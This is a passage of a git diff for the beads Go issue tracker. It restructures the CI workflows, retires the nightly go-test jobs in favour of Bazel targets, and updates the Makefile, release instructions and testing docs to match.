beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - # -run '^$' selects no tests (only compiles), so this needs no - # Dolt/test-env setup. - - name: Warm race GOCACHE - if: matrix.flavor == 'race' - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -race -run '^$' -tags gms_pure_go ./scripts/... - - # pr-preflight-platforms'/check-doc-freshness-platforms' ubuntu legs via - # warm-non-race-cache.sh, shared with build-artifacts' identical step so - # the two paths can never drift apart (F7b spec 4.2). - - name: Warm non-race GOCACHE (preflight/doc-freshness) - if: matrix.flavor == 'non-race' - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: bash scripts/ci/warm-non-race-cache.sh - - - name: Save race Go build cache - if: ${{ !cancelled() && matrix.flavor == 'race' && steps.restore-race-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - - - name: Save non-race Go build cache - if: ${{ !cancelled() && matrix.flavor == 'non-race' && steps.restore-non-race-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # macOS saver: pr.yml's pr-preflight-platforms and # check-doc-freshness-platforms macOS legs run on blacksmith-6vcpu-macos-26 # for same-repo PRs/merge_group and on macos-latest for fork/Dependabot PRs, @@ -810,10 +323,10 @@ jobs: # test-windows). This job is their only seeder # (and the Blacksmith leg also seeds the `test` job's module and non-race # caches), and runs only the shared warm-up those legs compile - # (warm-non-race-cache.sh, the same script the Linux/Windows seeders use) + # (warm-non-race-cache.sh, the same script the Windows seeder uses) # plus the non-test ./cmd/bd build -- no tests, so it stays a few minutes of # macOS time per push. Same push-to-main-only job guard (B2) and go.sum + - # UTC-day cache keys (S7) as blacksmith-go-build-cache, so a PR can never + # UTC-day cache keys (S7) as test-windows, so a PR can never # write this namespace and ordinary push traffic writes at most one # non-race entry per day per venue. Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest, @@ -889,132 +402,4 @@ jobs: uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - - test-nix: - name: Test Nix Flake - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - - name: Run bd help via Nix - id: nix_help - run: | - nix run .#default -- --help > help.txt - # Every flake check for the runner's own system (today: hook-timeout- - # backends, checks.nix). `nix flake check` rather than a spelled-out - # `.#checks.x86_64-linux.`: no hardcoded system, and a check added - # to checks.nix is run without a workflow edit. - - name: Run the flake checks - run: | - nix flake check -L - - name: Verify help text - if: steps.nix_help.outcome == 'success' - run: | - FIRST_LINE=$(head -n 1 help.txt) - EXPECTED="Issues chained together like beads. A lightweight issue tracker with first-class dependency support." - if [ "$FIRST_LINE" != "$EXPECTED" ]; then - echo "First line of help.txt doesn't match expected output" - echo "Expected: $EXPECTED" - echo "Got: $FIRST_LINE" - exit 1 - fi - echo "Help text first line is correct" - - # F7c: Blacksmith cannot see GitHub-hosted cache entries, so the advisory - # workflows that moved onto a same-repo-PR Blacksmith runner (Regression's - # PR run, Cross-Version Smoke, Proxied Local) need a - # Blacksmith-side writer for their Go build - # cache. This job is push-to-main only (always trusted), so it is the ONLY - # writer: it always restores whatever is available, unconditionally re-runs - # every warm-up command (not gated on a cache hit), and then always saves - # under a key suffixed with this push's commit SHA. Every PR-side consumer - # uses `actions/cache/restore` only (never saves) with the same key - # prefix/restore-keys below, so a same-repo PR can read this cache but can - # never write an entry another PR or main would later read back unverified - # (B2, F7c implementation report). This also means the key format is one we - # define ourselves (`blacksmith-sg-v1-...`), not setup-go's own implicit - # key, so there is no dependency on Blacksmith's `$ImageOS` resolving the - # same way setup-go's own cache-action would have assumed. - # - # Precondition (spec-f7.md §3): an org admin must confirm Blacksmith's - # "branch-protected caches" toggle is ON before this seed is trusted to - # feed PR-scoped restores; a mismatched or OFF setting only degrades PR - # jobs to a cold cache (restore-only, so there is no correctness risk - # either way) -- see the F7c implementation report. - blacksmith-setup-go-cache: - name: Seed setup-go cache (Blacksmith) - # A literal (non-expression) Blacksmith label is actionlint's unknown- - # runner-label check; every other same-repo Blacksmith job in this repo - # routes through a conditional expression instead (actionlint only - # validates literal runs-on strings). This job is push-to-main only - # (always trusted, so there is nothing to gate on), but it still wraps - # the label in a trivial expression to keep actionlint clean and match - # repo convention. - runs-on: ${{ 'blacksmith-4vcpu-ubuntu-2404' }} - # F7c review fix S2: pin push-to-main-only at the job level, not just via - # this workflow's current `on: push` trigger. If main.yml ever gained a - # pull_request (or merge_group) trigger in the future, a bare - # `github.repository == ...` guard would let this job - and the bare, - # always-saving cache below it - run on a PR, making every same-repo PR a - # writer of the Blacksmith setup-go cache namespace every advisory - # consumer trusts. Pinned exactly by - # TestBlacksmithSeederGuardedAgainstPullRequest. - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # F7c review fix S5: the old key suffix was ${{ github.sha }}, so every - # single push to main - whether or not go.sum changed - saved a brand - # new multi-GB ~/go/pkg/mod + ~/.cache/go-build entry under this - # namespace. On a cache store with LRU eviction (Blacksmith), that churn - # risked evicting F7a's own beads-go-mod-v2-*/beads-go-build-v2-* cache - # entries. Keying per UTC day instead still bounds staleness (a go.sum - # change is picked up on save on the very next push, and a same-day - # restore-keys fallback to yesterday's entry is only ever a prefix - # away), while capping writes to at most once per calendar day instead - # of once per push. Pinned by TestBlacksmithSeederCacheKeyIsNotPerCommit. - - name: Compute cache date - id: cache-date - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - # Unconditional (not gated on a cache hit): this job's entire purpose is - # to keep the Blacksmith-side cache warm, so it must always repopulate - # GOCACHE/GOMODCACHE even when the restore step above already found a - # usable entry (a stale or partial restore should still self-heal here). - - name: Build bd - run: make build - - # Always save (even if a warm-up step above failed) under a fresh, - # commit-specific key: the content is still a valid, newer GOCACHE/ - # GOMODCACHE snapshot than whatever was restored, and `cache/save` is a - # pure write with no read-back of PR-controlled state, so there is no - # poisoning concern in saving unconditionally here. - - name: Save Blacksmith setup-go cache - if: always() - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} \ No newline at end of file diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 025a35ac0..97f7bb42b 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -1,110 +1,27 @@ -name: Nightly Full Tests +name: Nightly +# Every nightly test runs under Bazel on rbe-west: the `bazel` call below is +# the full suite with no cached test results. Nothing here runs go test on a +# runner (ga-96smfk.22). on: schedule: # Run at 2am UTC daily - cron: '0 2 * * *' workflow_dispatch: - inputs: - suite: - description: "Nightly suite or measurement suite" - required: true - type: choice - default: full-test - options: - - full-test - - pr-linux - - macos-short - - macos-candidates - - linux-integration - - linux-integration-sharded - - linux-integration-hybrid-sharded - - linux-integration-hybrid-16-sharded - - linux-integration-hybrid-prebuilt-sharded - - linux-integration-coverage - - cross-version-smoke - - nix - - mcp-package - - npm-package - - bazel - smoke_version: - description: "Optional previous release for cross-version-smoke" - required: false - default: "" env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" jobs: - measure: - name: Measure selected CI suite - if: ${{ github.event_name == 'workflow_dispatch' && inputs.suite != 'full-test' && inputs.suite != 'bazel' }} - uses: ./.github/workflows/ci-measurements.yml - with: - suite: ${{ inputs.suite }} - smoke_version: ${{ inputs.smoke_version }} - - # PR Core's go test (scripts/ci/pr-core.sh) with -json output, so the Bazel - # job below can compare per-test status: a test that passes here and skips - # under Bazel fails the equivalence check unless allowlisted. - bazel-go-test-json: - name: Bazel equivalence (go-test side) - if: ${{ github.event_name == 'schedule' || inputs.suite == 'bazel' }} - runs-on: ubuntu-latest - timeout-minutes: 60 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Run PR core go-test (JSON) - env: - BEADS_PR_CORE_GO_TEST_JSON: ${{ runner.temp }}/go-test.json - run: make ci-pr-core - - # Uploaded even when tests fail: the status comparison still applies. - - name: Upload go-test results - if: ${{ always() }} - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: bazel-equivalence-go-test-json - path: ${{ runner.temp }}/go-test.json - if-no-files-found: error - retention-days: 7 - - # Bazel lane with the full go test equivalence listing and the skip-parity - # check (reported here; PRs gate on it through pr.yml). Remote execution - # when the repo secrets are present; bazel.yml gets the four RBE secrets - # plus rbe-prewarm's bazel-allocator app private key (same-repo/scheduled - # trigger only, so pre-warming is safe here - see bazel.yml's - # "rbe-west Pre-warm" header and engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md). + # Bazel lane with the full equivalence listing (package and test-name sets; + # PRs gate on it through pr.yml). Remote execution when the repo secrets + # are present; bazel.yml gets the four RBE secrets plus rbe-prewarm's + # bazel-allocator app private key (same-repo/scheduled trigger only, so + # pre-warming is safe here - see bazel.yml's "rbe-west Pre-warm" header and + # engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md). bazel: - name: Bazel equivalence (full detail) - needs: bazel-go-test-json - if: ${{ !cancelled() && (github.event_name == 'schedule' || inputs.suite == 'bazel') }} + name: Bazel (fresh, full detail) uses: ./.github/workflows/bazel.yml secrets: RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} @@ -114,7 +31,6 @@ jobs: RBE_POOL_APP_PRIVATE_KEY: ${{ secrets.RBE_POOL_APP_PRIVATE_KEY }} with: details: true - go-test-json-artifact: bazel-equivalence-go-test-json # The one run that re-executes every test (no cached test results): # PRs, merge groups and pushes to main reuse unchanged tests' PASSes, # so this keeps sampling flaky and -race failures every night. @@ -126,7 +42,6 @@ jobs: # that falls behind queues every remote action, so say so every night. rbe-worker-env-sync: name: rbe worker-env in step with gascity - if: ${{ github.event_name == 'schedule' || inputs.suite == 'bazel' }} runs-on: ubuntu-latest timeout-minutes: 5 steps: @@ -136,93 +51,3 @@ jobs: - name: Compare the worker-env manifest and pin with gascity's main run: tools/rbe/worker-env-sync main - - full-test: - name: Full Test Suite - if: ${{ github.event_name == 'schedule' || inputs.suite == 'full-test' }} - runs-on: ubuntu-latest - timeout-minutes: 45 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: | - ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Build - run: go build -v -tags gms_pure_go ./cmd/bd - - - name: Full Test Suite (including integration tests) - env: - # Skip Docker-based Dolt testcontainer tests — they hang in - # GitHub Actions (known issue, see scripts/repro-dolt-hang/). - # Non-Docker integration tests still run via the installed dolt binary. - BEADS_TEST_SKIP: dolt - run: go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./... - - # The suite above never sets BEADS_TEST_EMBEDDED_DOLT, so every - # skipUnlessEmbeddedDolt-gated test in internal/storage/embeddeddolt - # (including TestBatchApplyContract, the 1000-item case of - # TestLargeBatchApplyWallClock_Embedded, and — F1 — the 712-item case of - # TestLargeBatchApplyStatementCounts712_Embedded) is skipped there, on - # every lane, not just this one. This step is their only non-race - # coverage of a real 1000-item apply through the embedded backend, and - # (F1) the only coverage at all of the 712-item shape's pinned - # statement-count regression baseline on a per-PR race lane: the race - # lanes (main.yml, pr-risk.yml) shrink/skip those cases under - # raceEnabled — see - # internal/storage/embeddeddolt/large_batch_apply_measure_test.go — and - # the PR-conditional server-Dolt full suite (full_embedded in - # .github/scripts/ci-embedded-tier.sh) covers the SAME write body - # (internal/storage/issueops.ApplyBatchInTx) through a different - # backend, not this one. Non-race here because the embedded engine's - # own goroutine/lock machinery runs inside this test binary and the - # race detector dramatically inflates its wall-clock (see - # race_detector_on_test.go), which is exactly what - # TestLargeBatchApplyWallClock_Embedded is measuring and exactly why - # TestLargeBatchApplyStatementCounts712_Embedded's 712-item case takes - # ~260-300s under -race (genuine engine-internal race overhead, not - # test logic — see that test's doc comment). The same holds for the - # 458-issue batch-create equivalence scenarios - # (TestCreateBatchFastPathsMatchPerRowLarge_Embedded). - - name: Embedded Dolt batch-apply suite (non-race) - if: ${{ !cancelled() }} - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - run: go test -tags gms_pure_go -timeout 20m -run '^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$' ./internal/storage/embeddeddolt - - - name: Check coverage threshold - run: | - COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print $3}' | sed 's/%//') - echo "Coverage: $COVERAGE%" - # Threshold is lower (30%) because Docker-based Dolt integration - # tests are skipped in CI (BEADS_TEST_SKIP=dolt). With Docker - # tests included, coverage would be ~50%+. - if (( $(echo "$COVERAGE < 30" | bc -l) )); then - echo "❌ Coverage is below 30% threshold" - exit 1 - elif (( $(echo "$COVERAGE < 40" | bc -l) )); then - echo "⚠️ Coverage is below 40% (warning threshold)" - else - echo "✅ Coverage meets threshold" - fi - - - name: Upload coverage - uses: codecov/codecov-action@fb8b3582c8e4def4969c97caa2f19720cb33a72f # v6 - if: success() - continue-on-error: true - with: - file: ./coverage.out - fail_ci_if_error: false diff --git a/Makefile b/Makefile index e9e2a4202..fe5ada1c1 100644 --- a/Makefile +++ b/Makefile @@ -46,7 +46,7 @@ endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short .PHONY: lint lint-changed vet .PHONY: check check-go test-go check-docs-go -.PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm +.PHONY: ci-pr-core ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check .PHONY: bazel-sync bazel-sync-check @@ -229,9 +229,6 @@ test-full-cgo: ci-pr-core: @./scripts/ci/pr-core.sh -ci-pr-policy: - @./scripts/ci/pr-policy.sh - # Lint and vet are nogo (//tools/nogo): go test's vet checks plus the # golangci-lint linters .golangci.yml enables, validated beside every Go # compile, so any `bazel build`/`bazel test` (local or on rbe-west) fails on a @@ -295,9 +292,8 @@ api-gen: go generate -tags "$(BUILD_TAGS)" ./internal/httpapi/apigen # Two-part spec drift gate: regenerate and fail if regeneration CHANGED -# anything, then run the spec tests. Runs in the PR workflow's policy job -# (scripts/ci/pr-policy.sh), on every pull request, never only on -# push-to-main. +# anything, then run the spec tests. CI runs the drift half as +# //scripts/repochecks:types_gen_drift_test. # # The drift question is "do the checked-out types already match the checked-out # spec", so the comparison is before-vs-after regeneration rather than @@ -544,7 +540,6 @@ help: @echo " make test-icu-path - Run opt-in ICU regex path tests (maintainer-only)" @echo " make test-full-cgo - Deprecated alias for make test-icu-path" @echo " make ci-pr-core - Run required PR core Go test wrapper" - @echo " make ci-pr-policy - Run required PR policy wrapper" @echo " make ci-pr-lint - Run the required lint gate: nogo (vet + golangci-lint's linters) under Bazel, native + windows/darwin" @echo " make lint - Same as ci-pr-lint (make vet too)" @echo " make lint-changed - nogo over the Bazel packages of changed Go files (LINT_CHANGED_SCOPE=staged|worktree)" diff --git a/RELEASING.md b/RELEASING.md index 91a517832..e05b73072 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -94,15 +94,19 @@ release-critical gates do not all run on every PR, so "tag the tip of main" means tagging a SHA nobody has fully tested. A burned tag is never reused (the v1.1.1 and v1.2.0 precedents), so that gamble is expensive. -**Cut the branch from a SHA that is green on both `Main` and -`Nightly Full Tests`.** The `Main` workflow runs on push to `main` and the -`Nightly Full Tests` workflow runs on a 2am UTC schedule, so the newest SHA -with both is usually a few hours behind the tip: +**Cut the branch from a SHA that is green on `Bazel`, `Main` and +`Nightly`.** The `Bazel` workflow (every Linux test lane, on rbe-west) and +the `Main` workflow (the macOS and Windows jobs) run on push to `main`, and +the `Nightly` workflow (the full Bazel suite with no cached test results) +runs on a 2am UTC schedule, so the newest SHA with all three is usually a +few hours behind the tip: ```bash +gh run list --workflow Bazel --branch main --event push --status success --limit 5 \ + --json headSha,conclusion,createdAt gh run list --workflow Main --branch main --status success --limit 5 \ --json headSha,conclusion,createdAt -gh run list --workflow "Nightly Full Tests" --status success --limit 3 \ +gh run list --workflow Nightly --status success --limit 3 \ --json headSha,conclusion,createdAt git fetch origin @@ -136,8 +140,8 @@ git log --oneline main..release/1.3.0 Before starting a release: -- [ ] `release/x.y.z` branch cut from a SHA green on `Main` **and** - `Nightly Full Tests` (see [Release Branches](#release-branches)) +- [ ] `release/x.y.z` branch cut from a SHA green on `Bazel`, `Main` **and** + `Nightly` (see [Release Branches](#release-branches)) - [ ] All tests passing (`make test`, the Bazel test lane) - [ ] npm package tests passing (`cd npm-package && npm run test:all`) - [ ] **Upgrade smoke tests pass** (`make test-upgrade`) — see [Release Stability Gate](engdocs/RELEASE-STABILITY-GATE.md) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index e0d894eb3..cb48242fb 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1554,8 +1554,7 @@ sh_test( # instead of skipping every Dolt-gated test into a cached pass. These are # the cmd/bd tests no other lane runs: every other configuration of bd_test # passes BEADS_TEST_SKIP=dolt (prcore/ci, integration) or runs only its -# manifest (bd_embedded_test, bd_proxied_test), and so does nightly.yml's -# go test job. No -test.run/-test.skip: the Go binary shards +# manifest (bd_embedded_test, bd_proxied_test). No -test.run/-test.skip: the Go binary shards # itself over every top-level test (rules_go's TEST_SHARD_INDEX), so each # runs in exactly one shard, and check_testcases.py fails a shard that ran # none. It repeats bd_test's `env` (the wrapper cannot inherit it). diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 5e82bc916..f706e6d18 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -140,9 +140,22 @@ Current PR-related workflow names: detection and the `bazel-coverage` decision were retired (ga-96smfk.22): `pr.yml`'s Bazel lanes run those tests. - `.github/workflows/main.yml`: `Main` - Runs on pushes to `main`. Contains the main branch health checks, package - gates, platform smoke/short coverage, embedded Dolt coverage, and promoted - Linux no-short integration shards. + Runs on pushes to `main`. Contains only what rbe-west cannot run: the macOS + `go test -race -short` suite and the Windows smoke build on Blacksmith, and + the push-to-main savers of the GOCACHEs pr.yml's Windows and macOS jobs + restore. Every Linux check it used to repeat (migration hygiene, build + tags, versions, doc flags, gofmt, the PR policy wrapper, the package gates, + the Nix flake check and the Linux cache seeders) is gated before the merge + by the merge queue's `pr.yml`/`pr-risk.yml` run of the same commit, and + `bazel.yml`'s push run re-runs the Bazel targets (ga-96smfk.22). +- `.github/workflows/nightly.yml`: `Nightly` + Runs at 02:00 UTC. Calls `bazel.yml` with `fresh-test-results: true` (every + test re-executed, no cached results) and checks the rbe-west worker-env + pin against gascity. It runs no `go test` on a runner: its former Full Test + Suite, PR Core `go test -json` equivalence side and `ci-measurements.yml` + dispatch suites are retired; the non-race embedded batch-apply step is + `//internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test` in + the embedded tier. - The differential regression suite (`tests/regression`, formerly `regression.yml`) is `//tests/regression:regression_test`, tagged `dolt-server-cmd`, so `bazel.yml`'s `bazel-cmd-dolt` lane runs it on every @@ -926,9 +939,10 @@ Required` requires them to have run remotely and passed. - PR Core's other work: `scripts/ci/pr-core.sh` is the one `go test` (plus a timing summary); its `BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1` is `test:prcore`'s too. `bazel-test`'s equivalence step compares Bazel's - tests with `go list`, not with PR Core's run, so it is unaffected; - `nightly.yml` still runs PR Core's `go test -json` for the skip-parity - check. + tests with `go list`, not with PR Core's run, so it is unaffected. The + skip-parity check (`equivalence.py --go-test-json`) has no CI caller + since nightly's go-test side was retired (ga-96smfk.22); run it by hand + with `BEADS_PR_CORE_GO_TEST_JSON` when auditing a skip. - `--config=sole-run` (`--experimental_remote_cache_eviction_retries=0`, the step 1 and 2 hardening) is added to every `bazel test` of the three lanes wherever they execute remotely (`BAZEL_SOLE_RUN`: modes `remote`, @@ -1186,8 +1200,7 @@ pr.yml's two mixed-OS matrix jobs, `pr-preflight-platforms` and merge_group, through the same `runner: same-repo-macos` matrix marker and same-repo expression their Linux/Windows legs use. Forks, Dependabot and every other event keep GitHub-hosted `macos-latest`. They are the only PR -macOS jobs; `release.yml`, `nightly.yml` and `ci-measurements.yml` stay on -`macos-latest`. +macOS jobs; `release.yml` stays on `macos-latest`. - **Label.** Pinned to `macos-26` because GitHub's `macos-latest` resolves to `macos-26-arm64` today, so both paths run the same OS and architecture and diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 46aab1118..0dde5d0ee 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -73,7 +73,7 @@ a unit test: use the real boundary when the defect could live there. | Affected-package confidence | `bazel test //path/to/package/... --config=ci` | After the focused test passes; include directly affected neighbors when their contract changed. | | Final gate | `make test` | Once after focused work on Go code is green: the whole test lane, mostly cache hits. | | Another lane's risk | that lane's command from the table above | When the change touches what that lane covers (integration-tagged files, the Dolt server path, embedded Dolt, pure-Go builds). | -| Named CI wrapper | `make ci-pr-core`, `make ci-pr-policy`, or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | +| Named CI wrapper | `make ci-pr-core` or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | | Hook shims against real timeout implementations | `nix flake check -L` (or `nix build .#checks..hook-timeout-backends -L`) | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash. About one deadline of wall time; needs no Go build. | Do not replace the focused loop with repeated full-suite runs. Run the final diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 7263ec7bf..9a14c1778 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -125,7 +125,7 @@ go_library( # this package with a real `go test -c` (integration.SubprocessRunner), which # needs the module's source tree and a module cache no action has. They run # only against a server: skipped under --config=integration -# (BEADS_TEST_SKIP=dolt, like nightly.yml's full test), and run by +# (BEADS_TEST_SKIP=dolt), and run by # dolt_server_full_test, which hands SubprocessRunner its own test binary # (BEADS_TEST_SUBPROCESS_BINARY) instead. go_test( diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index d250bd628..a2fb5266a 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -1,5 +1,6 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:race.bzl", "go_test_race_off") go_library( name = "embeddeddolt", @@ -361,6 +362,49 @@ sh_test( tags = ["embedded"], ) +# embeddeddolt_test without the race detector: the input of +# embeddeddolt_batch_apply_nonrace_test below. +# +# Tags: +# manual: only that variant's input, never a build target of its own. +go_test_race_off( + name = "embeddeddolt_race_off", + tags = ["manual"], + test = ":embeddeddolt_test", +) + +# The large embedded batch applies at full size, which every race lane +# shrinks or skips (raceEnabled; see large_batch_apply_measure_test.go): the +# 1000-item TestBatchApplyContract/BoundsTheItemCount and wall-clock shapes, +# the pinned 712-item statement counts, and the 458-issue batch-create +# equivalence scenarios. Non-race, BEADS_TEST_EMBEDDED_DOLT=1, the selection +# nightly.yml's retired "Embedded Dolt batch-apply suite (non-race)" step ran +# with `go test` on a runner. The wall-clock test only logs its timings, so +# a shared executor cannot fail it. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_batch_apply_nonrace_test", + size = "large", + # The step's -timeout 20m, with the same -test.timeout=19m deviation as + # the conformance variants above, so Go's timeout fires (with a goroutine + # dump) before Bazel's 1200s action limit. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :embeddeddolt_race_off)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + "-test.run=^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$$", + ], + data = [":embeddeddolt_race_off"], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + tags = ["embedded"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/embeddeddolt/create_batch_equivalence_test.go b/internal/storage/embeddeddolt/create_batch_equivalence_test.go index 0be085bfe..913f1ab35 100644 --- a/internal/storage/embeddeddolt/create_batch_equivalence_test.go +++ b/internal/storage/embeddeddolt/create_batch_equivalence_test.go @@ -22,13 +22,13 @@ func TestCreateBatchFastPathsMatchPerRow_Embedded(t *testing.T) { // TestCreateBatchFastPathsMatchPerRowLarge_Embedded runs the 458-issue // equivalence scenarios. It is skipped under -race, where the in-process // engine's own instrumentation makes each scenario take many minutes; -// nightly.yml's "Embedded Dolt batch-apply suite (non-race)" step runs it, +// //internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test (non-race) runs it, // and the server backend's full suite (non-race) runs the same scenarios on // every PR that takes that tier. func 